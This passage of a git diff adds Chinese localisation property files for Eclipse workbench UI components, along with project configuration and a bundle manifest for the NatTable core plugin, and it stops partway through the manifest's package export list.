+LegacyActionPersistence_AutogeneratedCommandName=\u672a\u5e26\u4efb\u4f55\u6807\u7b7e\u7684\u65e7\u64cd\u4f5c +Edit=\u7f16\u8f91(&E)... +TrimCommon_DockOn=\u505c\u653e\u4f4d\u7f6e(&D) +TrimCommon_Left=\u5de6(&L) +TrimCommon_Right=\u53f3(&R) +TrimCommon_Bottom=\u5e95\u90e8(&B) +TrimCommon_Top=\u9876\u90e8(&T) +TrimCommon_Close=\u5173\u95ed(&C) +TrimCommon_Main_TrimName=\u4e3b\u5de5\u5177\u680f(&M) +TrimCommon_PerspectiveSwitcher_TrimName=\u900f\u89c6\u56fe\u5207\u6362\u7a0b\u5e8f(&P) +TrimCommon_FastView_TrimName=\u5feb\u901f\u89c6\u56fe\u680f(&F) +TrimCommon_HeapStatus_TrimName=\u5806\u72b6\u6001(&H) +TrimCommon_IntroBar_TrimName=\u6b22\u8fce(&W) +TrimCommon_Progress_TrimName=\u8fdb\u5ea6(&P) +TrimCommon_StatusLine_TrimName=\u72b6\u6001\u884c(&S) +FilteredItemsSelectionDialog_menu=\u83dc\u5355 +FilteredItemsSelectionDialog_refreshJob=\u5237\u65b0\u5bf9\u8bdd\u6846 +FilteredItemsSelectionDialog_progressRefreshJob=\u5237\u65b0\u8fdb\u5ea6\u6d88\u606f +FilteredItemsSelectionDialog_cacheRefreshJob=\u5237\u65b0\u9ad8\u901f\u7f13\u5b58 +FilteredItemsSelectionDialog_cacheRefreshJob_checkDuplicates=\u6b63\u5728\u68c0\u67e5\u91cd\u590d\u9879 +FilteredItemsSelectionDialog_cacheRefreshJob_getFilteredElements=\u83b7\u53d6\u5df2\u8fc7\u6ee4\u7684\u5143\u7d20 +FilteredItemsSelectionDialog_cacheSearchJob_taskName=\u6b63\u5728\u9ad8\u901f\u7f13\u5b58\u4e2d\u641c\u7d22 +FilteredItemsSelectionDialog_patternLabel=\u9009\u62e9\u8981\u6253\u5f00\u7684\u9879\uff08? \= \u4efb\u4f55\u5b57\u7b26\uff0c* \= \u4efb\u4f55\u5b57\u7b26\u4e32\uff09(&S)\uff1a +FilteredItemsSelectionDialog_listLabel=\u5339\u914d\u9879(&M)\uff1a +FilteredItemsSelectionDialog_searchJob_taskName=\u6b63\u5728\u641c\u7d22 +FilteredItemsSelectionDialog_toggleStatusAction=\u663e\u793a\u72b6\u6001\u884c(&S) +FilteredItemsSelectionDialog_removeItemsFromHistoryAction=\u4ece\u5386\u53f2\u8bb0\u5f55\u4e2d\u5220\u53bb(&R) +FilteredItemsSelectionDialog_separatorLabel=\u5de5\u4f5c\u7a7a\u95f4\u5339\u914d +FilteredItemsSelectionDialog_nItemsSelected=\u5df2\u9009\u62e9 {0} \u9879 +FilteredItemsSelectionDialog_jobLabel=\u9879\u8fc7\u6ee4 +FilteredItemsSelectionDialog_jobError=\u9879\u8fc7\u6ee4\u5931\u8d25 +FilteredItemsSelectionDialog_jobCancel=\u9879\u8fc7\u6ee4\u5df2\u53d6\u6d88 +FilteredItemsSelectionDialog_storeError=\u6392\u5e8f\u5bf9\u8bdd\u6846\u5931\u8d25 +FilteredItemsSelectionDialog_restoreError=\u590d\u539f\u5bf9\u8bdd\u6846\u5931\u8d25 +FilteredItemsSelectionDialog_taskProgressMessage={0}\uff08{1}%\uff09 +FilteredItemsSelectionDialog_subtaskProgressMessage={0}\uff1a{1} +ContentAssist_Cue_Description_Key=\u5185\u5bb9\u8f85\u52a9\u53ef\u7528\uff08{0}\uff09 +WorkbenchLayoutSettings_Name=\u5de5\u4f5c\u53f0\u5e03\u5c40\uff1b +WorkbenchSettings_CouldNotCreateDirectories=\u672a\u80fd\u521b\u5efa\u5de5\u4f5c\u7a7a\u95f4\u76ee\u5f55 +WorkbenchSettings_CouldNotFindLocation=\u627e\u4e0d\u5230\u5de5\u4f5c\u53f0\u8bbe\u7f6e\u4f4d\u7f6e +WorkingSets_Name=\u5de5\u4f5c\u96c6 +WorkingSets_CannotSave=\u65e0\u6cd5\u4fdd\u5b58\u5de5\u4f5c\u96c6 +BundleSigningTray_Signing_Date=\u7b7e\u540d\u65e5\u671f\uff1a +BundleSigningTray_Working=\u6b63\u5728\u5de5\u4f5c... +BundleSigningTray_Signing_Certificate=\u7b7e\u540d\u8bc1\u4e66\uff1a +BundleSigningTray_Cant_Find_Service=\u627e\u4e0d\u5230\u8bc1\u4e66\u670d\u52a1\u3002 +BundleSigningTray_Determine_Signer_For=\u786e\u5b9a {0} \u7684\u7b7e\u540d\u8005 +BundleSigningTray_Unsigned=\u672a\u7b7e\u540d +BundleSigningTray_Unknown=\u672a\u77e5 +BundleSigningTray_Unget_Signing_Service=\u8fd4\u56de\u7b7e\u540d\u670d\u52a1 +WorkbenchStatusDialog_StatusLabel=\u72b6\u6001\uff1a +WorkbenchStatusDialog_NotAvailable=\u4e0d\u53ef\u7528\u3002 +WorkbenchStatusDialog_TimestampNotAvailable=\u4e0d\u53ef\u7528 +WorkbenchStatusDialog_ExplanationLabel=\u89e3\u91ca\uff1a +WorkbenchStatusDialog_ActionLabel=\u64cd\u4f5c\uff1a +WorkbenchStatusDialog_CopyThisReport=\u590d\u5236\u6b64\u62a5\u544a +WorkbenchStatusDialog_SupportTooltip=\u83b7\u53d6\u652f\u6301 +WorkbenchStatusDialog_SupportHyperlink=\u83b7\u53d6\u652f\u6301 +WorkbenchStatusDialog_StatusWithChildren=\u6b64\u72b6\u6001\u5177\u6709\u5b50\u72b6\u6001\u3002\u8bf7\u53c2\u9605\u201c\u8be6\u7ec6\u4fe1\u606f\u201d\u4ee5\u83b7\u53d6\u66f4\u591a\u4fe1\u606f\u3002 +WorkbenchStatusDialog_NoMessageAvailable=\u6ca1\u6709\u53ef\u7528\u7684\u6d88\u606f +WorkbenchStatusDialog_SeeDetails=\u8bf7\u53c2\u9605\u201c\u8be6\u7ec6\u4fe1\u606f\u201d\u4ee5\u83b7\u53d6\u66f4\u591a\u4fe1\u606f\u3002 +WorkbenchStatusDialog_MultipleProblemsHaveOccured=\u53d1\u751f\u4e86\u591a\u4e2a\u95ee\u9898 +WorkbenchStatusDialog_ProblemOccurred=\u53d1\u751f\u95ee\u9898\u3002 +WorkbenchStatusDialog_ProblemOccurredInJob=\u201c{0}\u201d\u9047\u5230\u95ee\u9898\u3002 +StackTraceSupportArea_CausedBy=\u539f\u56e0\uff1a +StackTraceSupportArea_NoStackTrace=\u627e\u4e0d\u5230\u4efb\u4f55\u5806\u6808\u8ddf\u8e2a +StackTraceSupportArea_Title=\u5806\u6808\u8ddf\u8e2a\uff1a +WorkingSetConfigurationBlock_WorkingSetText_name=\u5de5\u4f5c\u96c6(&O)\uff1a +WorkingSetConfigurationBlock_SelectWorkingSet_button=\u9009\u62e9(&e)... +WorkingSetPropertyPage_ReadOnlyWorkingSet_description=\u6b64\u4e3a\u53ea\u8bfb\u5de5\u4f5c\u96c6\u3002\u4e0d\u80fd\u66f4\u6539\u5176\u5185\u5bb9\u3002 +WorkingSetPropertyPage_ReadOnlyWorkingSet_title=\u53ea\u8bfb\u5de5\u4f5c\u96c6 +WorkingSetGroup_EnableWorkingSet_button=\u5c06\u9879\u76ee\u6dfb\u52a0\u81f3\u5de5\u4f5c\u96c6(&T) +WorkingSetGroup_WorkingSetSelection_message=\u65b0\u9879\u76ee\u5c06\u88ab\u6dfb\u52a0\u5230\u6240\u9009\u5de5\u4f5c\u96c6\uff1a +WorkingSetGroup_WorkingSets_group=\u5de5\u4f5c\u96c6 +Util_List={0}\uff0c{1} +Util_listNull=\u7a7a \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/progress/messages_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/progress/messages_zh.properties new file mode 100644 index 0000000..d1b1c88 --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/progress/messages_zh.properties @@ -0,0 +1,50 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +PendingUpdateAdapter_PendingLabel=\u6682\u6302\u4e2d... +JobsViewPreferenceDialog_Note=\u663e\u793a\u4f11\u7720\u548c\u7cfb\u7edf\u64cd\u4f5c(&S) +JobErrorDialog_CustomJobText=\u5b9a\u5236\u64cd\u4f5c\u52a8\u4f5c +JobInfo_Waiting={0}\uff08\u6b63\u5728\u7b49\u5f85\uff09 +JobInfo_Sleeping={0}\uff08\u6b63\u5728\u4f11\u7720\uff09 +JobInfo_System=\u7cfb\u7edf\uff1a{0} +JobInfo_Cancelled={0}\uff08\u5df2\u53d6\u6d88\uff09 +JobInfo_Cancel_Requested={0}\uff08\u5df2\u8bf7\u6c42\u53d6\u6d88\uff09 +JobInfo_Error={0}\uff08\u9519\u8bef\u7684\u65f6\u95f4\uff1a{1}\uff09 +JobInfo_Blocked={0}\uff08\u5df2\u963b\u585e\uff1a{1}\uff09 +JobInfo_Finished={0}\uff08\u5df2\u5b8c\u6210\uff09 +JobInfo_FinishedAt={0}\uff08\u5b8c\u6210\u4e8e {1}\uff09 +JobErrorDialog_CloseDialogMessage=\u6267\u884c\u6b64\u64cd\u4f5c\u5c06\u5173\u95ed\u9519\u8bef\u5bf9\u8bdd\u5e76\u6e05\u9664\u6b63\u5728\u663e\u793a\u7684\u9519\u8bef\u3002 +InternalError=\u53d1\u751f\u5185\u90e8\u9519\u8bef +DeferredTreeContentManager_NotDeferred=\u4e0d\u662f IDeferredWorkbenchAdapter +DeferredTreeContentManager_AddingChildren=\u6dfb\u52a0\u5b50\u4ee3 +DeferredTreeContentManager_FetchingName=\u8bbf\u5b58 {0} \u7684\u5b50\u4ee3 +ProgressView_CancelAction=\u53d6\u6d88(&C) +ProgressView_ClearAllAction=\u9664\u53bb\u6240\u6709\u5df2\u5b8c\u6210\u7684\u64cd\u4f5c(&A) +ProgressView_NoOperations=\u6b64\u65f6\u6ca1\u6709\u8981\u663e\u793a\u7684\u64cd\u4f5c\u3002 +NewProgressView_RemoveAllJobsToolTip=\u9664\u53bb\u6240\u6709\u5df2\u5b8c\u6210\u7684\u64cd\u4f5c +NewProgressView_CancelJobToolTip=\u53d6\u6d88\u64cd\u4f5c +NewProgressView_ClearJobToolTip=\u4ece\u89c6\u56fe\u4e2d\u9664\u53bb +NewProgressView_errorDialogTitle=\u53d1\u751f\u4e86\u9519\u8bef +NewProgressView_errorDialogMessage=\u64cd\u4f5c\u5df2\u5b8c\u6210\uff0c\u4f46\u53d1\u751f\u4e86\u9519\u8bef +ProgressAnimationItem_tasks=\u5728\u201c\u8fdb\u5ea6\u201d\u89c6\u56fe\u4e2d\u663e\u793a\u540e\u53f0\u64cd\u4f5c +ProgressAnimationItem_ok=\u64cd\u4f5c\u201c{0}\u201d\u8fd4\u56de\u4e86\u7ed3\u679c\uff1b\u8bf7\u6309\u6309\u94ae\u4ee5\u4e86\u89e3\u8be6\u7ec6\u4fe1\u606f +ProgressAnimationItem_error=\u64cd\u4f5c\u201c{0}\u201d\u5df2\u5b8c\u6210\uff0c\u4f46\u662f\u53d1\u751f\u4e86\u9519\u8bef\uff1b\u8bf7\u6309\u6309\u94ae\u4ee5\u4e86\u89e3\u8be6\u7ec6\u4fe1\u606f +SubTaskInfo_UndefinedTaskName=\u672a\u5b9a\u4e49 +DeferredTreeContentManager_ClearJob=\u6e05\u9664 +ProgressContentProvider_UpdateProgressJob=\u66f4\u65b0\u8fdb\u5ea6 +JobErrorDialog_MultipleErrorsTitle=\u53d1\u751f\u4e86\u591a\u4e2a\u9519\u8bef +ProgressManager_openJobName=\u6253\u5f00\u8fdb\u5ea6\u76d1\u89c6\u5668 +ProgressManager_showInDialogName=\u5728\u5bf9\u8bdd\u6846\u4e2d\u663e\u793a +ProgressMonitorJobsDialog_DetailsTitle=\u8be6\u7ec6\u4fe1\u606f(&D) >> +ProgressMonitorJobsDialog_HideTitle=<< \u8be6\u7ec6\u4fe1\u606f(&D) +ErrorNotificationManager_OpenErrorDialogJob=\u6253\u5f00\u9519\u8bef\u5bf9\u8bdd\u6846 +AnimationManager_AnimationStart=\u542f\u52a8\u52a8\u753b +ProgressFloatingWindow_EllipsisValue=... +BlockedJobsDialog_UserInterfaceTreeElement=\u6b63\u5728\u7b49\u5f85\u7684\u7528\u6237\u64cd\u4f5c +BlockedJobsDialog_BlockedTitle=\u7528\u6237\u64cd\u4f5c\u6b63\u5728\u7b49\u5f85 +WorkbenchSiteProgressService_CursorJob=\u66f4\u6539\u5149\u6807 +ProgressMonitorFocusJobDialog_UserDialogJob=\u6253\u5f00\u7528\u6237\u5bf9\u8bdd\u6846 +ProgressMonitorFocusJobDialog_CLoseDialogJob=\u5173\u95ed\u5bf9\u8bdd\u6846 +ProgressMonitorFocusJobDialog_RunInBackgroundButton=\u5728\u540e\u53f0\u8fd0\u884c(&B) +JobErrorDialog_MultipleErrorsMessage=\u591a\u4e2a\u64cd\u4f5c\u62a5\u544a\u4e86\u9519\u8bef\u3002\u9009\u62e9\u67d0\u4e2a\u9519\u8bef\u4ee5\u67e5\u770b\u5b83\u7684\u8be6\u7ec6\u4fe1\u606f\u3002 +JobErrorDialog_CloseDialogTitle=\u786e\u5b9a\u8981\u5173\u95ed\u5417\uff1f +JobsViewPreferenceDialog_Title=\u8fdb\u5ea6\u9996\u9009\u9879 +JobErrorDialog_DoNotShowAgainMessage=\u4e0d\u518d\u663e\u793a\u6b64\u9879(&S) \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/quickaccess/messages_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/quickaccess/messages_zh.properties new file mode 100644 index 0000000..5971dc7 --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/quickaccess/messages_zh.properties @@ -0,0 +1,13 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +QuickAccess_Editors=\u7f16\u8f91\u5668 +QuickAccess_Views=\u89c6\u56fe +QuickAccess_Perspectives=\u900f\u89c6\u56fe +QuickAccess_Commands=\u547d\u4ee4 +QuickAccess_Menus=\u83dc\u5355 +QuickAccess_New=\u65b0\u5efa +QuickAccess_Preferences=\u9996\u9009\u9879 +QuickAccess_Previous=\u5148\u524d\u9009\u62e9 +QuickAccess_Properties=\u5c5e\u6027 +QuickAccess_PressKeyToShowAllMatches=\u6309 \u201c{0}\u201d \u53ef\u663e\u793a\u6240\u6709\u7684\u5339\u914d\u9879\u3002 +QuickAccess_StartTypingToFindMatches=\u5f00\u59cb\u8f93\u5165\u4ee5\u67e5\u627e\u5339\u914d\u3002 +QuickAccess_AvailableCategories=\u53ef\u7528\u7c7b\u522b\uff1a \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/testing/messages_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/testing/messages_zh.properties new file mode 100644 index 0000000..df1ab5b --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/testing/messages_zh.properties @@ -0,0 +1,9 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +ContributionInfo_Editor=\u7f16\u8f91\u6846 +ContributionInfo_View=\u89c6\u56fe +ContributionInfo_ActionSet=\u547d\u4ee4\u7ec4 +ContributionInfo_Category=\u7c7b\u522b +ContributionInfo_ColorDefinition=\u989c\u8272\u5b9a\u4e49 +ContributionInfo_Wizard=\u5411\u5bfc +ContributionInfo_Page=\u9875\u9762 +ContributionInfo_Window=window \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/themes/ColorsAndFontsPreferencePage_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/themes/ColorsAndFontsPreferencePage_zh.properties new file mode 100644 index 0000000..a1349c5 --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/themes/ColorsAndFontsPreferencePage_zh.properties @@ -0,0 +1,20 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +openChange=\u7f16\u8f91(&E)... +reset=\u590d\u4f4d(&R) +editDefault=\u9ed8\u8ba4\u7f16\u8f91\uff08&i\uff09 +goToDefault=\u5230\u9ed8\u8ba4(&G) +value=\u503c(&V) +colorsAndFonts=\u989c\u8272\u548c\u5b57\u4f53\uff08? \= \u4efb\u4f55\u5b57\u7b26\uff0c* \= \u4efb\u4f55\u5b57\u7b26\u4e32\uff09(&F)\uff1a +description=\u63cf\u8ff0(&N)\uff1a +preview=\u9884\u89c8(&W)\uff1a +noPreviewAvailable=\u6ca1\u6709\u63d0\u4f9b\u9884\u89c8\u3002 +errorCreatingPreview=\u521b\u5efa\u6b64\u9884\u89c8\u65f6\u51fa\u9519\u3002\u8bf7\u67e5\u770b\u65e5\u5fd7\u4ee5\u83b7\u53d6\u8be6\u7ec6\u4fe1\u606f\u3002 +errorCreatePreviewLog=\u521b\u5efa\u9884\u89c8\u65f6\u51fa\u9519\u3002 +errorDisposePreviewLog=\u5904\u7406\u9884\u89c8\u65f6\u51fa\u9519\u3002 +defaultFormat_default={0}\uff08\u8bbe\u7f6e\u4e3a\u7f3a\u7701\u503c {1}\uff09 +defaultFormat_override={0}\uff08\u8986\u76d6\u7f3a\u7701\u503c\uff1a{1}\uff09 +editParent=\u8f6c\u81f3\u7236\u4ee3(&G) +boldFont=\u7c97\u4f53 +italicFont=\u659c\u4f53 +fontTextSample=\u654f\u6377\u7684\u68d5\u8272\u72d0\u72f8\u8df3\u8fc7\u4e86\u61d2\u60f0\u7684\u72d7\u3002 +fontColorSample=\u793a\u4f8b\u6587\u672c \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/themes/ThemeRegistryReader_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/themes/ThemeRegistryReader_zh.properties new file mode 100644 index 0000000..06721ae --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/themes/ThemeRegistryReader_zh.properties @@ -0,0 +1,8 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +Colors.badFactory=\u672a\u80fd\u521b\u5efa\u989c\u8272\u5de5\u5382\u3002 +Colors.badDefault=\u53ea\u80fd\u8bbe\u7f6e\u503c\u6216 defaultMapping \u4e2d\u7684\u4e00\u4e2a\u3002 +Fonts.badDefault=\u53ea\u80fd\u8bbe\u7f6e\u503c\u6216 defaultMapping \u7684\u5176\u4e2d\u4e00\u4e2a\uff0c\u6216\u8005\u90fd\u4e0d\u8bbe\u7f6e\u3002 +Gradients.badPercentage=\u767e\u5206\u6bd4\u5fc5\u987b\u662f\u6b63\u6574\u6570\u3002 +Gradients.badGradientValue=\u503c\u5fc5\u987b\u5b58\u5728\u3002 +Themes.badNesting=\u4e0d\u80fd\u6709\u5d4c\u5957\u4e3b\u9898\u3002 +Data.badData=\u5bf9\u4e8e\u6570\u636e\u5143\u7d20\uff0c\u540d\u79f0\u548c\u503c\u5fc5\u987b\u5b58\u5728\u3002 \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/themes/Theme_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/themes/Theme_zh.properties new file mode 100644 index 0000000..7a89f4d --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/themes/Theme_zh.properties @@ -0,0 +1,2 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +DefaultTheme.label=\u7f3a\u7701\u503c \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/wizards/preferences/messages_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/wizards/preferences/messages_zh.properties new file mode 100644 index 0000000..5d08e13 --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/wizards/preferences/messages_zh.properties @@ -0,0 +1,32 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +WizardPreferences_description=\u63cf\u8ff0(&T)\uff1a +WizardPreferencesPage_noOptionsSelected=\u672a\u9009\u62e9\u7279\u5b9a\u7684\u9996\u9009\u9879\u3002 +WizardPreferences_noSpecificPreferenceDescription=\u7a7a\u7684\u5217\u8868\u3002\n\u6ce8\u610f\uff1a\u5e76\u4e0d\u662f\u6240\u6709\u9996\u9009\u9879\u90fd\u652f\u6301\u5355\u4e2a\u5bfc\u5165\u3002 +PreferencesExportWizard_export=\u5bfc\u51fa\u9996\u9009\u9879 +WizardPreferencesExportPage1_exportTitle=\u5bfc\u51fa\u9996\u9009\u9879 +WizardPreferencesExportPage1_exportDescription=\u5c06\u9996\u9009\u9879\u5bfc\u51fa\u81f3\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\u3002 +WizardPreferencesExportPage1_preferences=\u9996\u9009\u9879 +WizardPreferencesExportPage1_noPrefFile=\u9996\u9009\u9879\u6587\u4ef6\u672a\u8bbe\u7f6e\u6216\u8005\u4e0d\u662f\u4e00\u4e2a\u666e\u901a\u6587\u4ef6\u3002 +WizardPreferencesExportPage1_overwrite=\u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u8981\u8986\u76d6\u5417\uff1f +WizardPreferencesExportPage1_title=\u5bfc\u51fa\u81f3\u6587\u4ef6 +WizardPreferencesExportPage1_all=\u5168\u90e8\u5bfc\u51fa(&A) +WizardPreferencesExportPage1_choose=\u9009\u62e9\u8981\u5bfc\u51fa\u7684\u7279\u5b9a\u9996\u9009\u9879(&C) +WizardPreferencesExportPage1_file=\u81f3\u9996\u9009\u9879\u6587\u4ef6(&P)\uff1a +PreferencesImportWizard_import=\u5bfc\u5165\u9996\u9009\u9879 +WizardPreferencesImportPage1_importTitle=\u5bfc\u5165\u9996\u9009\u9879 +WizardPreferencesImportPage1_importDescription=\u4ece\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\u4e2d\u5bfc\u5165\u9996\u9009\u9879\u3002 +WizardPreferencesImportPage1_all=\u5168\u90e8\u5bfc\u5165(&A) +WizardPreferencesImportPage1_choose=\u9009\u62e9\u8981\u5bfc\u5165\u7684\u7279\u5b9a\u9996\u9009\u9879(&H) +WizardPreferencesImportPage1_file=\u4ece\u9996\u9009\u9879\u6587\u4ef6(&P)\uff1a +WizardPreferencesImportPage1_title=\u4ece\u6587\u4ef6\u4e2d\u5bfc\u5165 +WizardPreferencesImportPage1_invalidPrefFile=\u9996\u9009\u9879\u6587\u4ef6\u4e0d\u5b58\u5728\u6216\u8005\u662f\u4e00\u4e2a\u76ee\u5f55\u3002 +PreferencesExport_error=\u9519\u8bef +PreferencesExport_browse=\u6d4f\u89c8(&R)... +PreferencesExport_createTargetDirectory=\u76ee\u6807\u76ee\u5f55\u4e0d\u5b58\u5728\u3002\u60a8\u8981\u521b\u5efa\u5b83\u5417\uff1f +PreferencesExport_directoryCreationError=\u65e0\u6cd5\u521b\u5efa\u76ee\u6807\u76ee\u5f55\u3002 +ExportFile_overwriteExisting=\u8986\u76d6\u73b0\u6709\u6587\u4ef6\u800c\u4e0d\u53d1\u51fa\u8b66\u544a(&O) +SelectionDialog_selectLabel=\u5168\u90e8\u9009\u4e2d(&S) +SelectionDialog_deselectLabel=\u5168\u90e8\u4e0d\u9009(&D) +WizardDataTransfer_existsQuestion=\u201c{0}\u201d\u5df2\u5b58\u5728\u3002\u8981\u8986\u76d6\u5417\uff1f +WizardDataTransfer_overwriteNameAndPathQuestion=\u8981\u8986\u76d6\u6587\u4ef6\u5939\u201c{1}\u201d\u4e2d\u7684\u201c{0}\u201d\u5417\uff1f +Question=\u95ee\u9898 \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/.classpath b/others/net.sourceforge.nattable.core/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/others/net.sourceforge.nattable.core/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/others/net.sourceforge.nattable.core/.gitignore b/others/net.sourceforge.nattable.core/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/others/net.sourceforge.nattable.core/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/others/net.sourceforge.nattable.core/.project b/others/net.sourceforge.nattable.core/.project new file mode 100644 index 0000000..1cc889b --- /dev/null +++ b/others/net.sourceforge.nattable.core/.project @@ -0,0 +1,28 @@ + + + net.sourceforge.nattable.core + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/others/net.sourceforge.nattable.core/.settings/org.eclipse.jdt.core.prefs b/others/net.sourceforge.nattable.core/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/others/net.sourceforge.nattable.core/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/others/net.sourceforge.nattable.core/META-INF/MANIFEST.MF b/others/net.sourceforge.nattable.core/META-INF/MANIFEST.MF new file mode 100644 index 0000000..5e3c559 --- /dev/null +++ b/others/net.sourceforge.nattable.core/META-INF/MANIFEST.MF @@ -0,0 +1,146 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: NatTable Core +Bundle-SymbolicName: net.sourceforge.nattable.core;singleton:=true +Bundle-Version: 8.0.0.R8b_v20121203 +Bundle-ClassPath: net.sourceforge.nattable.core, + . +Export-Package: net.sourceforge.nattable, + net.sourceforge.nattable.blink, + net.sourceforge.nattable.blink.command, + net.sourceforge.nattable.blink.event, + net.sourceforge.nattable.columnCategories, + net.sourceforge.nattable.columnChooser, + net.sourceforge.nattable.columnChooser.command, + net.sourceforge.nattable.columnChooser.gui, + net.sourceforge.nattable.columnRename, + net.sourceforge.nattable.command, + net.sourceforge.nattable.config, + net.sourceforge.nattable.coordinate, + net.sourceforge.nattable.copy.action, + net.sourceforge.nattable.copy.command, + net.sourceforge.nattable.copy.serializing, + net.sourceforge.nattable.data, + net.sourceforge.nattable.data.convert, + net.sourceforge.nattable.data.validate, + net.sourceforge.nattable.edit, + net.sourceforge.nattable.edit.action, + net.sourceforge.nattable.edit.command, + net.sourceforge.nattable.edit.config, + net.sourceforge.nattable.edit.editor, + net.sourceforge.nattable.edit.event, + net.sourceforge.nattable.edit.gui, + net.sourceforge.nattable.export.excel, + net.sourceforge.nattable.export.excel.action, + net.sourceforge.nattable.export.excel.command, + net.sourceforge.nattable.export.excel.config, + net.sourceforge.nattable.filterrow.command, + net.sourceforge.nattable.freeze, + net.sourceforge.nattable.freeze.action, + net.sourceforge.nattable.freeze.command, + net.sourceforge.nattable.freeze.config, + net.sourceforge.nattable.freeze.event, + net.sourceforge.nattable.grid, + net.sourceforge.nattable.grid.cell, + net.sourceforge.nattable.grid.command, + net.sourceforge.nattable.grid.data, + net.sourceforge.nattable.grid.layer, + net.sourceforge.nattable.grid.layer.config, + net.sourceforge.nattable.grid.layer.event, + net.sourceforge.nattable.group, + net.sourceforge.nattable.group.action, + net.sourceforge.nattable.group.command, + net.sourceforge.nattable.group.config, + net.sourceforge.nattable.group.event, + net.sourceforge.nattable.group.gui, + net.sourceforge.nattable.group.painter, + net.sourceforge.nattable.hideshow, + net.sourceforge.nattable.hideshow.command, + net.sourceforge.nattable.hideshow.event, + net.sourceforge.nattable.layer, + net.sourceforge.nattable.layer.cell, + net.sourceforge.nattable.layer.config, + net.sourceforge.nattable.layer.event, + net.sourceforge.nattable.layer.stack, + net.sourceforge.nattable.painter, + net.sourceforge.nattable.painter.cell, + net.sourceforge.nattable.painter.cell.decorator, + net.sourceforge.nattable.painter.layer, + net.sourceforge.nattable.persistence, + net.sourceforge.nattable.print, + net.sourceforge.nattable.print.action, + net.sourceforge.nattable.print.command, + net.sourceforge.nattable.print.config, + net.sourceforge.nattable.reorder, + net.sourceforge.nattable.reorder.action, + net.sourceforge.nattable.reorder.command, + net.sourceforge.nattable.reorder.config, + net.sourceforge.nattable.reorder.event, + net.sourceforge.nattable.resize, + net.sourceforge.nattable.resize.action, + net.sourceforge.nattable.resize.command, + net.sourceforge.nattable.resize.config, + net.sourceforge.nattable.resize.event, + net.sourceforge.nattable.resize.mode, + net.sourceforge.nattable.search, + net.sourceforge.nattable.search.action, + net.sourceforge.nattable.search.command, + net.sourceforge.nattable.search.config, + net.sourceforge.nattable.search.event, + net.sourceforge.nattable.search.gui, + net.sourceforge.nattable.search.strategy, + net.sourceforge.nattable.selection, + net.sourceforge.nattable.selection.action, + net.sourceforge.nattable.selection.command, + net.sourceforge.nattable.selection.config, + net.sourceforge.nattable.selection.event, + net.sourceforge.nattable.serializing, + net.sourceforge.nattable.sort, + net.sourceforge.nattable.sort.action, + net.sourceforge.nattable.sort.command, + net.sourceforge.nattable.sort.config, + net.sourceforge.nattable.sort.event, + net.sourceforge.nattable.sort.painter, + net.sourceforge.nattable.style, + net.sourceforge.nattable.style.editor, + net.sourceforge.nattable.style.editor.command, + net.sourceforge.nattable.summaryrow, + net.sourceforge.nattable.tickupdate, + 